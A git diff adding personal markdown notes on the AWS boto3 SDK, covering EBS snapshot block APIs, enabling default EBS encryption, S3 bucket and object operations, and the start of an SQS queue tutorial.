boto3.client('ebs') + +can_paginate() + +# complete_snapshot() +# Seals and completes the snapshot +response = ebsclient.complete_snapshot( + SnapshotId='string', + ChangedBlocksCount=123, + Checksum='string', + ChecksumAlgorithm='SHA256', + ChecksumAggregationMethod='LINEAR' +) + +generate_presigned_url() + + +get_paginator() + +# get_snapshot_block() +# Returns the data in a block in an Amazon Elastic Block Store snapshot. +response = ebsclient.get_snapshot_block( + SnapshotId='string', + BlockIndex=123, + BlockToken='string' +) + + +get_waiter() + +# list_changed_blocks() +# Returns information about the blocks that are different between two Amazon Elastic Block Store snapshots of the same volume/snapshot lineage. +response = ebsclient.list_changed_blocks( + FirstSnapshotId='string', + SecondSnapshotId='string', + NextToken='string', + MaxResults=123, + StartingBlockIndex=123 +) + +# list_snapshot_blocks() +# Returns information about the blocks in an Amazon Elastic Block Store snapshot. +response = ebsclient.list_snapshot_blocks( + SnapshotId='string', + NextToken='string', + MaxResults=123, + StartingBlockIndex=123 +) + +# put_snapshot_block() +# Writes a block of data to a snapshot. +response = ebsclient.put_snapshot_block( + SnapshotId='string', + BlockIndex=123, + BlockData=b'bytes'|file, + DataLength=123, + Progress=123, + Checksum='string', + ChecksumAlgorithm='SHA256' +) + + +# start_snapshot() +# Creates a new Amazon EBS snapshot. +response = ebsclient.start_snapshot( + VolumeSize=123, + ParentSnapshotId='string', + Tags=[ + { + 'Key': 'string', + 'Value': 'string' + }, + ], + Description='string', + ClientToken='string', + Encrypted=True|False, + KmsKeyArn='string', + Timeout=123 +) + +``` + + +--- + +### can_paginate(_operation_name_) + +Check if an operation can be paginated. + +Parameters +- **operation_name** (_string_): is the same name as the method name on the client. +- For example, if the method name is create_foo, and you'd normally invoke the operation as client.create_foo(kwargs_), if the create_foo operation can be paginated, you can use the call client.get_paginator("create_foo"). + +Returns +- `True` if the operation can be paginated, +- `False` otherwise. + +--- + + +### complete_snapshot(kwargs_) + +Seals and completes the snapshot after all of the required blocks of data have been written to it. +- Completing the snapshot changes the status to `completed` . +- cannot write new blocks to a snapshot after it has been completed. + + +**Request Syntax** + +```py +response = ebsclient.complete_snapshot( + SnapshotId='string', + # [REQUIRED]: The ID of the snapshot. + ChangedBlocksCount=123, + # [REQUIRED]: The number of blocks that were written to the snapshot. + Checksum='string', + # An aggregated Base-64 SHA256 checksum based on the checksums of each written block. + # To generate the aggregated checksum using the linear aggregation method, + # arrange the checksums for each written block in ascending order of their block index, + # concatenate them to form a single string, + # and then generate the checksum on the entire string using the SHA256 algorithm. + ChecksumAlgorithm='SHA256', + # The algorithm used to generate the checksum. + # Currently, the only supported algorithm is SHA256 . + ChecksumAggregationMethod='LINEAR' + # The aggregation method used to generate the checksum. + # Currently, the only supported aggregation method is LINEAR . +) +``` + +**Returns** +- Return type: dict +- Response Syntax: + +```py +{'Status': 'completed'|'pending'|'error'} # The status of the snapshot. +``` + + +**Exceptions** + +```py +* EBS.Client.exceptions.AccessDeniedException +* EBS.Client.exceptions.ValidationException +* EBS.Client.exceptions.ResourceNotFoundException +* EBS.Client.exceptions.RequestThrottledException +* EBS.Client.exceptions.ServiceQuotaExceededException +* EBS.Client.exceptions.InternalServerException +``` + + +--- + + +### generate_presigned_url(_ClientMethod_, _Params=None_, _ExpiresIn=3600_, _HttpMethod=None_) + +Generate a presigned url given a client, its method, and arguments + +**Parameters** + +* **ClientMethod** (_string_) -- The client method to presign for +* **Params** (_dict_) -- The parameters normally passed to ClientMethod. +* **ExpiresIn** (_int_) -- The number of seconds the presigned url is valid for. By default it expires in an hour (3600 seconds) +* **HttpMethod** (_string_) -- The http method to use on the generated url. By default, the http method is whatever is used in the method's model. + +**Returns**: The presigned url + + + +--- + + +### get_paginator(_operation_name_) + +Create a paginator for an operation. + +**Parameters** +- **operation_name** (_string_), is the same name as the method name on the client. For example, +- if the method name is `create_foo`, invoke the operation as `client.create_foo(**kwargs)`, +- if the create_foo operation can be paginated, you can use the call `client.get_paginator("create_foo")`. + +**Raises OperationNotPageableError** +- Raised if the operation is not pageable. +- use the `client.can_paginate` method to check if an operation is pageable. + +**Returns** +- Return type: `L{botocore.paginate.Paginator}` +- Returns: A paginator object + + +--- + +### get_snapshot_block(kwargs_) + +Returns the data in a block in an Amazon Elastic Block Store snapshot. + +**API**: + +```bash +# GetSnapshotBlock + +# Request Syntax +GET /snapshots/snapshotId/blocks/blockIndex?blockToken=BlockToken HTTP/1.1 + +# Response Syntax +HTTP/1.1 200 +x-amz-Data-Length: DataLength +x-amz-Checksum: Checksum +x-amz-Checksum-Algorithm: ChecksumAlgorithm +BlockData +``` + +**Request Syntax** + +```py +response = client.get_snapshot_block( + SnapshotId='string', + # The ID of the snapshot containing the block + BlockIndex=123, + # The block index of the block from which to get data. + # Obtain the BlockIndex by running the ListChangedBlocks or ListSnapshotBlocks. + BlockToken='string' + # The block token of the block from which to get data. + # Obtain the BlockToken by running the ListChangedBlocks or ListSnapshotBlocks operations. +) +``` + +**Returns** +- Return type: dict +- Returns: Response Syntax +```py +{ + 'DataLength': 123, + # The size of the data in the block. + 'BlockData': StreamingBody(), + # The data content of the block. + 'Checksum': 'string', + # The checksum generated for the block, Base64 encoded. + 'ChecksumAlgorithm': 'SHA256' + # The algorithm used to generate the checksum for the block, such as SHA256. +} +``` + +**Exceptions** +* EBS.Client.exceptions.AccessDeniedException +* EBS.Client.exceptions.ValidationException +* EBS.Client.exceptions.ResourceNotFoundException +* EBS.Client.exceptions.RequestThrottledException +* EBS.Client.exceptions.ServiceQuotaExceededException +* EBS.Client.exceptions.InternalServerException + + + +--- + +### get_waiter(_waiter_name_) +Returns an object that can wait for some condition. + +**Parameters** +- **waiter_name** (_str_) -- The name of the waiter to get. + + +**Returns** +- The specified waiter object. +- Return type: `botocore.waiter.Waiter` + + + +--- + +### list_changed_blocks(kwargs_) +Returns information about `the blocks that are different between two Amazon Elastic Block Store snapshots` of the same volume/snapshot lineage. + +**Request Syntax** + +```py +response = client.list_changed_blocks( + FirstSnapshotId='string', + # The ID of the first snapshot to use for the comparison. + # Warning: The FirstSnapshotID parameter must be specified with a SecondSnapshotId parameter; otherwise, an error occurs. + SecondSnapshotId='string', + # **[REQUIRED]** + # The ID of the second snapshot to use for the comparison. + # Warning: The SecondSnapshotId parameter must be specified with a FirstSnapshotID parameter; otherwise, an error occurs. + NextToken='string', + # The token to request the next page of results. + MaxResults=123, + # The number of results to return. + StartingBlockIndex=123 + # The block index from which the comparison should start. + # The list in the response will start from this block index or the next valid block index in the snapshots. +) +``` + +**Returns** +- Return type: dict +- **Response Syntax** + +```py +# _(dict) --_ +{ + 'ChangedBlocks': + # An array of objects containing information about the changed blocks. + [ + # A block of data in an Amazon Elastic Block Store snapshot that is different from another snapshot of the same volume/snapshot lineage. + { + 'BlockIndex': 123, + # The block index. + 'FirstBlockToken': 'string', + # The block token for the block index of the FirstSnapshotId specified in the ListChangedBlocks operation. This value is absent if the first snapshot does not have the changed block that is on the second snapshot. + 'SecondBlockToken': 'string' + # The block token for the block index of the SecondSnapshotId specified in the ListChangedBlocks operation. + }, + ], + 'ExpiryTime': datetime(2015, 1, 1), + # The time when the BlockToken expires. + 'VolumeSize': 123, + 'BlockSize': 123, + 'NextToken': 'string' + # The token to use to retrieve the next page of results. This value is null when there are no more results to return. +} +``` + + + +**Exceptions** + +* EBS.Client.exceptions.AccessDeniedException +* EBS.Client.exceptions.ValidationException +* EBS.Client.exceptions.ResourceNotFoundException +* EBS.Client.exceptions.RequestThrottledException +* EBS.Client.exceptions.ServiceQuotaExceededException +* EBS.Client.exceptions.InternalServerException + + +--- + + +### list_snapshot_blocks(kwargs_) + +Returns information about the blocks in an Amazon Elastic Block Store snapshot. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ebs-2019-11-02/ListSnapshotBlocks) + +**Request Syntax** + +```py +response = client.list_snapshot_blocks( + SnapshotId='string', + NextToken='string', + MaxResults=123, + StartingBlockIndex=123 +) +``` + +Parameters + +* **SnapshotId** (_string_) -- + - **[REQUIRED]** + - The ID of the snapshot from which to get block indexes and block tokens. + +* **NextToken** (_string_) -- + - The token to request the next page of results. +* **MaxResults** (_integer_) -- + - The number of results to return. +* **StartingBlockIndex** (_integer_) -- + - The block index from which the list should start. The list in the response will start from this block index or the next valid block index in the snapshot. + + +Returns: +- Return type: dict +- **Response Syntax** + +```py +{ + # An array of objects containing information about the blocks. + 'Blocks': [ + # A block of data in an Amazon Elastic Block Store snapshot. + { + 'BlockIndex': 123, + 'BlockToken': 'string' + }, + ], + 'ExpiryTime': datetime(2015, 1, 1), + 'VolumeSize': 123, + 'BlockSize': 123, + # The token to use to retrieve the next page of results. This value is null when there are no more results to return. + 'NextToken': 'string' +} +``` + + +**Exceptions** + +* EBS.Client.exceptions.AccessDeniedException +* EBS.Client.exceptions.ValidationException +* EBS.Client.exceptions.ResourceNotFoundException +* EBS.Client.exceptions.RequestThrottledException +* EBS.Client.exceptions.ServiceQuotaExceededException +* EBS.Client.exceptions.InternalServerException + + +--- + + +### put_snapshot_block(kwargs_) + +- Writes a block of data to a snapshot. +- If the specified block contains data, the existing data is overwritten. +- The target snapshot must be in the pending state. + +Data written to a snapshot must be aligned with 512-byte sectors. + +**Request Syntax** + +```py +response = client.put_snapshot_block( + SnapshotId='string', + BlockIndex=123, + # The block index of the block in which to write the data. + # A block index is a logical index in units of 512 KiB blocks. + # To identify the block index, divide the logical offset of the data in the logical volume by the block size (logical offset of data/524288 ). + # The logical offset of the data must be 512 KiB aligned. + BlockData=b'bytes'|file, + # The data to write to the block. + # The block data is not signed as part of the Signature Version 4 signing process. + # As a result, you must generate and provide a Base64-encoded SHA256 checksum for the block data using the **x-amz-Checksum** header. + # Also, must specify the checksum algorithm using the **x-amz-Checksum-Algorithm** header. + # The checksum that you provide is part of the Signature Version 4 signing process. + # It is validated against a checksum generated by Amazon EBS to ensure the validity and authenticity of the data. + # If the checksums do not correspond, the request fails. + DataLength=524288, + # The size of the data to write to the block, in bytes. + # Currently, the only supported size is 524288 . + Progress=123, + Checksum='string', + # A Base64-encoded SHA256 checksum of the data. Only SHA256 checksums are supported. + ChecksumAlgorithm='SHA256' + # The algorithm used to generate the checksum. Currently, the only supported algorithm is SHA256 . +) +``` + + +Returns +- Return type: dict +- Response Syntax + +```py +{ + 'Checksum': 'string', + # The SHA256 checksum generated for the block data by Amazon EBS. + 'ChecksumAlgorithm': 'SHA256' + # The algorithm used by Amazon EBS to generate the checksum. +} +``` + +**Exceptions** + +* EBS.Client.exceptions.AccessDeniedException +* EBS.Client.exceptions.ValidationException +* EBS.Client.exceptions.ResourceNotFoundException +* EBS.Client.exceptions.RequestThrottledException +* EBS.Client.exceptions.ServiceQuotaExceededException +* EBS.Client.exceptions.InternalServerException + + +--- + + +### start_snapshot(kwargs_) + +- Creates a new Amazon EBS snapshot. +- The new snapshot enters the pending state after the request completes. +- After creating the snapshot, use `PutSnapshotBlock` to write blocks of data to the snapshot. + + +**Request Syntax** + +```py +response = client.start_snapshot( + VolumeSize=123, + # The size of the volume, in GiB. The maximum size is 16384 GiB (16 TiB). + ParentSnapshotId='string', + # The ID of the parent snapshot. + # If there is no parent snapshot, or creating the first snapshot for an on-premises volume, omit this parameter. + # If account is enabled for encryption by default, you cannot use an unencrypted snapshot as a parent snapshot. first create an encrypted copy of the parent snapshot using CopySnapshot + Tags=[ + { + 'Key': 'string', + 'Value': 'string' + }, + ], + Description='string', + ClientToken='string', + # A unique, case-sensitive identifier you provide to ensure the idempotency of the request. + # Idempotency ensures that an API request completes only once. + # With an idempotent request, if the original request completes successfully. The subsequent retries with the same client token return the result from the original successful request and they have no additional effect. + # autopopulated if not provided. If you do not specify a client token, one is automatically generated by the AWS SDK. + Encrypted=True|False, + # Indicates whether to encrypt the snapshot. + # To create an encrypted snapshot = true. + # To create an unencrypted snapshot, omit this parameter. + # If you specify a value for **ParentSnapshotId** , omit this parameter. + # If true, the snapshot is encrypted using the CMK specified using the **KmsKeyArn** parameter. + # If no value is specified for **KmsKeyArn** , the default CMK for account is used. If no default CMK has been specified for account, the AWS managed CMK is used. To set a default CMK for account, use ModifyEbsDefaultKmsKeyId + # If account is enabled for encryption by default, you cannot set this parameter to false . In this case, you can omit this parameter. + KmsKeyArn='string', + # The Amazon Resource Name (ARN) of the AWS Key Management Service (AWS KMS) customer master key (CMK) to be used to encrypt the snapshot. + # If you do not specify a CMK, the default AWS managed CMK is used. + # If you specify a **ParentSnapshotId** , omit this parameter; the snapshot will be encrypted using the same CMK that was used to encrypt the parent snapshot. + # If **Encrypted** is set to true , you must specify a CMK ARN. + Timeout=123 + # The amount of time (minutes) after which the snapshot is automatically cancelled if: + # - No blocks are written to the snapshot. + # - The snapshot is not completed after writing the last block of data. + # If no value is specified, the timeout defaults to 60 minutes. +) +``` + + +Return +- Return type: dict +- Response Syntax + +```py +{ + 'Description': 'string', + # The description of the snapshot. + 'SnapshotId': 'string', + 'OwnerId': 'string', + 'Status': 'completed'|'pending'|'error', + 'StartTime': datetime(2015, 1, 1), + # The timestamp when the snapshot was created. + 'VolumeSize': 123, + # The size of the volume, in GiB. + 'BlockSize': 123, + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ], + 'ParentSnapshotId': 'string', + 'KmsKeyArn': 'string' + # The Amazon Resource Name (ARN) of the AWS Key Management Service (AWS KMS) customer master key (CMK) used to encrypt the snapshot. +} +``` + + + +**Exceptions** + +* EBS.Client.exceptions.AccessDeniedException +* EBS.Client.exceptions.ValidationException +* EBS.Client.exceptions.RequestThrottledException +* EBS.Client.exceptions.ResourceNotFoundException +* EBS.Client.exceptions.ServiceQuotaExceededException +* EBS.Client.exceptions.InternalServerException +* EBS.Client.exceptions.ConcurrentLimitExceededException +* EBS.Client.exceptions.ConflictException + +--- + + +## example + +### Enable EBS Default Encryption + + +1. do via AWS CLI + +```bash +$ aws ec2 enable-ebs-encryption-by-default +``` + + +2. script for one region + +```py + +import boto3 + +region = 'eu-west-1' +ec2connection = boto3.client('ec2', region) +print ("Checking AWS Region: " + region) + +status = ec2connection.get_ebs_encryption_by_default() # the ebs current status + +print (" ------------- unit test: if it is already encrypted ------------- ") +result = status["EbsEncryptionByDefault"] +if result == True: + print ("Activated, nothing to do") +else: + print("Not activated, activation in progress") + response = ec2connection.enable_ebs_encryption_by_default() + print("Setup default EBS Encryption for region", region,": ", response['EbsEncryptionByDefault']) + +``` + + +3. script for all the region + +```py +import boto3 + +# --------------------- check for all the region +# AWS_REGION = 'eu-west-1' +# session = boto3.Session(region_name=AWS_REGION) +# ec2 = session.client('ec2') + +ec2 = boto3.Session(region_name='eu-west-1').client('ec2') + +def main(event, context): + ec2_regions = [region['RegionName'] for region in ec2.describe_regions()['Regions']] + # For all AWS Regions + for region in ec2_regions: + conn = boto3.client('ec2', region_name=region) + print ("Checking AWS Region: " + region) + status = conn.get_ebs_encryption_by_default() + print ("===="*10) + result = status["EbsEncryptionByDefault"] + if result == True: + print ("Activated, nothing to do") + else: + print("Not activated, activation in progress") + conn.enable_ebs_encryption_by_default() + +if __name__ == '__main__': + main(0,0) +``` + + + + + + + + + + +. diff --git a/_posts/01Cloud/01AWS/0boto3code/2020-07-18-boto3-S3.md b/_posts/01Cloud/01AWS/0boto3code/2020-07-18-boto3-S3.md new file mode 100644 index 00000000000..c525698cece --- /dev/null +++ b/_posts/01Cloud/01AWS/0boto3code/2020-07-18-boto3-S3.md @@ -0,0 +1,507 @@ +--- +title: AWS - boto3 - S3 +date: 2020-07-18 11:11:11 -0400 +categories: [01AWS, boto3] +tags: [AWS] +toc: true +image: +--- + +- [S3](#s3) +- [Action](#action) + - [Create random file](#create-random-file) + - [Understanding Sub-resources](#understanding-sub-resources) + - [Creating a Bucket `s3_resource.create_bucket()`](#creating-a-bucket-s3_resourcecreate_bucket) + - [Deleting Buckets and Objects](#deleting-buckets-and-objects) + - [Deleting a Non-empty Bucket](#deleting-a-non-empty-bucket) + - [Deleting Buckets](#deleting-buckets) + - [Creating `Bucket` and `Object` Instances](#creating-bucket-and-object-instances) + - [S3 file object](#s3-file-object) + - [Copying an Object Between Buckets](#copying-an-object-between-buckets) + - [ACL (Access Control Lists)](#acl-access-control-lists) + - [Encryption](#encryption) + - [Storage](#storage) + - [Enable versioning for bucket](#enable-versioning-for-bucket) +- [Traversals](#traversals) + - [Bucket Traversal](#bucket-traversal) + - [Object Traversal](#object-traversal) + +--- + + + +## S3 + + + + +## Action + + + +--- + + +### Create random file + +```py +# If another user has already claimed the bucket name: -> botocore.errorfactory.BucketAlreadyExist +# increase your chance of success when creating your bucket by picking a random name. +import uuid + +def create_bucket_name(bucket_prefix): + # The generated bucket name must be between 3 and 63 chars long + return ''.join([bucket_prefix, str(uuid.uuid4())]) + + +# Create random file +def create_temp_file(size, file_name, file_content): + random_file_name = ''.join([str(uuid.uuid4().hex[:6]), file_name]) + with open(random_file_name, 'w') as f: + f.write(str(file_content) * size) + return random_file_name + + +def create_temp_file(file_name, file_content): + random_file_name = ''.join([str(uuid.uuid4().hex[:6]), file_name]) + with open(random_file_name, 'w') as f: + f.write(str(file_content)) + return random_file_name + + +# Create file +first_file = create_temp_file(300, 'firstfile.txt', 'helloworld') +``` + + +--- + + +### Understanding Sub-resources + +`Bucket` and `Object` are sub-resources of one another. +- Sub-resources are methods that create a new instance of a child resource. +- The parent’s identifiers get passed to the child resource. + +--- + +### Creating a Bucket `s3_resource.create_bucket()` + + + +```py + +import boto3 + +# -------------- hardcode -------------- +# unless your region is in the United States, you’ll need to define the region explicitly when you are creating the bucket. +# Otherwise -> IllegalLocationConstraintException +# To exemplify what this means when you’re creating your S3 bucket in a non-US region, take a look at the code below: +s3_resource = boto3.resource('s3') +s3_resource.create_bucket( + Bucket = YOUR_BUCKET_NAME, + CreateBucketConfiguration = { + 'LocationConstraint': 'eu-west-1' + } +) + + +# taking advantage of a `session` object. +# - Boto3 will create the `session` from your credentials. +# - You just need to take the region and pass it to `create_bucket()` as its `LocationConstraint` configuration. Here’s how to do that: + + +s3_conn = boto3.resource('s3') +s3_conn = boto3.client('s3') + + +def create_bucket(bucket_prefix, s3_conn): + session = boto3.session.Session() + current_region = session.region_name + bucket_name = create_bucket_name(bucket_prefix) + + bucket_response = s3_conn.create_bucket( + Bucket = bucket_name, + CreateBucketConfiguration= { + 'LocationConstraint': current_region + } + ) + + print(bucket_name, current_region) + return bucket_name, bucket_response +``` + +> no matter where you want to deploy it: locally/EC2/Lambda. +> no need to hardcode your region. + + +both the client and the resource create buckets in the same way + +```py +# create one using the client +# gives back bucket_response as a dictionary: + + +first_bucket_name, first_response = create_bucket( + bucket_prefix = 'fbucket', + s3_connection=s3_resource.meta.client +) + +first_response +# {'ResponseMetadata': { +# 'RequestId': 'E1DCFE71EDE7C1EC', +# 'HostId': 'r3AP32NQk9dvbHSEPIbyYADT769VQEN/+xT2BPM6HCnuCb3Z/GhR2SBP+GM7IjcxbBN7SQ+k+9B=', +# 'HTTPStatusCode': 200, +# 'HTTPHeaders': { +# 'x-amz-id-2': 'r3AP32NQk9dvbHSEPIbyYADT769VQEN/+xT2BPM6HCnuCb3Z/GhR2SBP+GM7IjcxbBN7SQ+k+9B=', +# 'x-amz-request-id': 'E1DCFE71EDE7C1EC', +# 'date': 'Fri, 05 Oct 2018 15:00:00 GMT', +# 'location': 'https://firstpythonbucket7250e773-c4b1-422a-b51f-c45a52af9304.s3.amazonaws.com/', +# 'content-length': '0', +# 'server': 'AmazonS3' +# }, +# 'RetryAttempts': 0}, +# 'Location': 'https://firstpythonbucket7250e773-c4b1-422a-b51f-c45a52af9304.s3.amazonaws.com/' +# } + + +# create bucket using the resource +# gives you back a Bucket instance as the `bucket_response`: + +second_bucket_name, second_response = create_bucket( + bucket_prefix='secondpythonbucket', + s3_connection=s3_resource +) + +second_response +# s3.Bucket(name='secondpythonbucket2d5d99c5-ab96-4c30-b7f7-443a95f72644') +``` + + +--- + + +### Deleting Buckets and Objects + +#### Deleting a Non-empty Bucket + +- To be able to delete a bucket, you must first delete every single object within the bucket, +- or else the `BucketNotEmpty` exception will be raised. When you have a versioned bucket, +- you need to delete every object and all its versions. +- + +```py +def delete_all_objects(bucket_name): + res = [] + s3bucket=s3_resource.Bucket(bucket_name) + for obj_version in s3bucket.object_versions.all(): + res.append({'Key': obj_version.object_key, 'VersionId': obj_version.id}) + print(res) + s3bucket.delete_objects(Delete={'Objects': res}) + + +delete_all_objects(first_bucket_name) +# [ +# {'Key': '127367firstfile.txt', 'VersionId': 'eQgH6IC1VGcn7eXZ_.ayqm6NdjjhOADv'}, +# {'Key': '127367firstfile.txt', 'VersionId': 'UnQTaps14o3c1xdzh09Cyqg_hq4SjB53'}, +# {'Key': '127367firstfile.txt', 'VersionId': 'null'}, +# {'Key': '616abesecondfile.txt', 'VersionId': 'WIaExRLmoksJzLhN7jU5YzoJxYSu6Ey6'}, +# {'Key': '616abesecondfile.txt', 'VersionId': 'null'}, +# {'Key': 'fb937cthirdfile.txt', 'VersionId': 'null'} +# ] + + +s3_resource.Object(second_bucket_name, first_file).upload_file(first_file) +delete_all_objects(second_bucket_name) +# [{'Key': '9c8b44firstfile.txt', 'VersionId': 'null'}] +``` + + + +#### Deleting Buckets + +```py +s3_resource.Bucket(first_bucket_name).delete() + +s3_resource.meta.client.delete_bucket(Bucket=second_bucket_name) +``` + +--- + + + +### Creating `Bucket` and `Object` Instances + +- using the resource, have access to the high-level classes (`Bucket` and `Object`). + +```py +# create Bucket +first_bucket = s3_resource.Bucket(name = first_bucket_name) + + +# create Object +first_object = s3_resource.Object( + bucket_name = first_bucket_name, + key = first_file +) + +first_object_again = first_bucket.Object(first_file) +``` + +The reason you have not seen any errors with creating the `first_object` variable is that Boto3 doesn’t make calls to AWS to create the reference. +- The `bucket_name` and the `key` are called identifiers, necessary parameters to create an `Object`. +- Any other attribute of an `Object`, such as its size, is lazily loaded. +- This means that for Boto3 to get the requested attributes, it has to make calls to AWS. + + + +--- + + + + + + +--- + + +### S3 file object + + +```py +# create Bucket & Object +first_bucket = s3_resource.Bucket(name = first_bucket_name) +first_object = s3_resource.Object( + bucket_name = first_bucket_name, + key = first_file +) + + +# ------------------- Upload a File Object ------------------- +# **Object Instance Version** +first_object.upload_file(Filename=first_file) + +# **Bucket Instance Version** +first_bucket.upload_file(Filename=first_file, Key=first_file) + +# **Client Version** +s3_resource.meta.client.upload_file( + Filename=first_file, + Bucket=first_bucket_name, + Key=first_file +) + +# when you upload an object to S3, that object is private + + + +# get the S3 file object +s3_object = s3_resource.Object(first_bucket_name, first_file) + +# ------------------- Download a File Object ------------------- +s3_object.download_file(f'/tmp/{first_file}') + +# ------------------- Delete a File Object ------------------- +s3_object.delete() +``` + + + +--- + + +### Copying an Object Between Buckets + +- copy files from one bucket to another + + +```py +def copy_to_bucket(bucket_from_name, bucket_to_name, file_name): + copy_source = { + 'Bucket': bucket_from_name, + 'Key': file_name + } + s3_resource.Object(bucket_to_name, file_name).copy(copy_source) + +copy_to_bucket(first_bucket_name, second_bucket_name, first_file) +``` + + + +--- + +### ACL (Access Control Lists) + +```py +# when you upload an object to S3, that object is private. +# +# to make this object available to someone else, set the object’s ACL to be public at creation time. + +second_file = create_temp_file(400, 'secondfile.txt', 's') +second_object = s3_resource.Object(first_bucket.name, second_file) + +second_object.upload_file( + second_file, + ExtraArgs={'ACL': 'public-read'} +) + +second_object_acl = second_object.Acl() + + +# make your object private again, without needing to re-upload it: + +response = second_object_acl.put(ACL='private') +``` + + + + + +### Encryption + + +```py +# Create a new file and upload it using `ServerSideEncryption`: + +third_file = create_temp_file(300, 'thirdfile.txt', 't') +third_object = s3_resource.Object(first_bucket_name, third_file) + + +third_object.upload_file( + third_file, + ExtraArgs={'ServerSideEncryption': 'AES256'} +) + +# check the algorithm that was used to encrypt the file, in this case `AES256`: + +third_object.server_side_encryption +# 'AES256' +``` + + + + +--- + + +### Storage + + +storage classes with S3: + +- **STANDARD**: default for frequently accessed data +- **STANDARD_IA**: for infrequently used data that needs to be retrieved rapidly when requested +- **ONEZONE_IA**: for the same use case as STANDARD_IA, but stores the data in one Availability Zone instead of three +- **REDUCED_REDUNDANCY**: for frequently used noncritical data that is easily reproducible + +If you want to change the storage class of an existing object, you need to recreate the object. + + +```py +# reupload and set its storage class to Standard_IA: +third_object.upload_file( + third_file, + ExtraArgs={ + 'ServerSideEncryption': 'AES256', + 'StorageClass': 'STANDARD_IA', + } +) + +# If you make changes to your object, you might find that your local instance doesn’t show them. +# What you need to do at that point is call `.reload()` to fetch the newest version of your object. +# Reload the object, and you can see its new storage class: + +third_object.reload() +third_object.storage_class +'STANDARD_IA' +``` + + + +--- + + +### Enable versioning for bucket + +```py +def enable_bucket_versioning(bucket_name): + s3bucket_versioning = s3_resource.BucketVersioning(bucket_name) + s3bucket_versioning.enable() + print(s3bucket_versioning.status) + + +enable_bucket_versioning(first_bucket_name) +# Enabled + + + + +# create two new versions for the first file `Object`, one with the contents of the original file and one with the contents of the third file: + + +s3_resource.Object(first_bucket_name, first_file).upload_file(first_file) +s3_resource.Object(first_bucket_name, first_file).upload_file(third_file) + +# Now reupload the second file, which will create a new version: +s3_resource.Object(first_bucket_name, second_file).upload_file(second_file) + + +# retrieve the latest available version of your objects like so: +s3_resource.Object(first_bucket_name, first_file).version_id +# 'eQgH6IC1VGcn7eXZ_.ayqm6NdjjhOADv' +``` + + +## Traversals + +### Bucket Traversal + +```py +# resource’s buckets attribute alongside .all(), gives a complete list of Bucket instances: +for bucket in s3_resource.buckets.all(): + print(bucket.name) +# firstpythonbucket7250e773-c4b1-422a-b51f-c45a52af9304 +# secondpythonbucket2d5d99c5-ab96-4c30-b7f7-443a95f72644 + +You can use the `client` to retrieve the bucket information as well, but the code is more complex, as you need to extract it from the dictionary that the `client` returns: + + + +for bucket_dict in s3_resource.meta.client.list_buckets().get('Buckets'): + print(bucket_dict['Name']) +# firstpythonbucket7250e773-c4b1-422a-b51f-c45a52af9304 +# secondpythonbucket2d5d99c5-ab96-4c30-b7f7-443a95f72644` +``` + + + +### Object Traversal + + +```py +for obj in first_bucket.objects.all(): + print(obj.key) +# 127367firstfile.txt +# 616abesecondfile.txt +# fb937cthirdfile.txt + +# The `obj` variable is an `ObjectSummary`. a lightweight representation of an `Object`. +# The summary version doesn’t support all of the attributes that the `Object` has. I +# to access them, use the `Object()` sub-resource to create a new reference to the underlying stored key. +# Then you’ll be able to extract the missing attributes: + + +for obj in first_bucket.objects.all(): + subsrc = obj.Object() + print(obj.key, obj.storage_class, obj.last_modified, subsrc.version_id, subsrc.metadata) +# 127367firstfile.txt STANDARD 2018-10-05 15:09:46+00:00 eQgH6IC1VGcn7eXZ_.ayqm6NdjjhOADv {} +# 616abesecondfile.txt STANDARD 2018-10-05 15:09:47+00:00 WIaExRLmoksJzLhN7jU5YzoJxYSu6Ey6 {} +# fb937cthirdfile.txt STANDARD_IA 2018-10-05 15:09:05+00:00 null {} +``` + + + + + + +. diff --git a/_posts/01Cloud/01AWS/0boto3code/2020-07-18-boto3-SQS.md b/_posts/01Cloud/01AWS/0boto3code/2020-07-18-boto3-SQS.md new file mode 100644 index 00000000000..0b425b37496 --- /dev/null +++ b/_posts/01Cloud/01AWS/0boto3code/2020-07-18-boto3-SQS.md @@ -0,0 +1,172 @@ +--- +title: AWS - boto3 - boto3.resource('sqs') - SQS +date: 2020-07-18 11:11:11 -0400 +categories: [01AWS, boto3] +tags: [AWS] +toc: true +image: +--- + +- [AWS SQS `boto3.resource('sqs')`](#aws-sqs-boto3resourcesqs) + +--- + +# AWS SQS `boto3.resource('sqs')` +SQS allows you to queue and then process messages. This tutorial covers how to create a new queue, get and use an existing queue, push new messages onto the queue, and process messages from the queue by using Resources and Collections. + +Queues are created with a name. You may also optionally set queue attributes, such as the number of seconds to wait before an item may be processed. + + +```py +sqs = boto3.resource('sqs') + +queue = sqs.create_queue(QueueName='test', Attributes={'DelaySeconds': '5'}) # queue + + +for queue in sqs.queues.all() + # Get the queue. This returns an SQS.Queue instance + queue = sqs.get_queue_by_name(QueueName='test') + + queue.url + queue.attributes['QueueArn'].split(':')[-1] + queue.attributes.get('DelaySeconds') + queue.send_message(MessageBody='world') + + response = queue.send_message(MessageBody='world') + response = queue.send_message(MessageBody='boto3', MessageAttributes={ 'ABC': {'StringValue': 'abc','DataType': 'String'}} ) + response = queue.send_messages(Entries=[{'Id': '1','MessageBody': 'hello'}, {'Id': '2','MessageBody': 'world'}] ) + response.get('MessageId')) + response.get('MD5OfMessageBody') + response.get('Failed') + + queue.receive_messages(MessageAttributeNames=['ABC']): + for message in queue.receive_messages(MessageAttributeNames=['ABC']) + message.message_attributes + message.message_attributes.get('ABC').get('StringValue') + message.delete() + +``` + + + + +```py + +# ------------------------- Creating a queue ------------------------- +# get the SQS service resource +sqs = boto3.resource('sqs') + +# Create the queue. This returns an SQS.Queue instance +queue = sqs.create_queue(QueueName='test', Attributes={'DelaySeconds': '5'}) + +# now access identifiers and attributes +print(queue.url) +print(queue.attributes.get('DelaySeconds')) +# The code above may throw an exception if you already have a queue named test. + + + + +# ------------------------- Using an existing queue ------------------------- +# Get the queue. This returns an SQS.Queue instance +queue = sqs.get_queue_by_name(QueueName='test') + + +# list all of existing queues: +# Print out each queue name, which is part of its ARN +for queue in sqs.queues.all(): + print(queue.url) + + +# To get the name from a queue, you must use its ARN, which is available in the queue's attributes attribute. +queueName = queue.attributes['QueueArn'].split(':')[-1] +# will return its name. + + + + +# ------------------------- Sending messages ------------------------- + +# a new message, adds it to the end of the queue: +response = queue.send_message(MessageBody='world') + + +# The response is NOT a resource, but gives you a message ID and MD5 +print(response.get('MessageId')) +print(response.get('MD5OfMessageBody')) + + + +# You can also create messages with custom attributes: 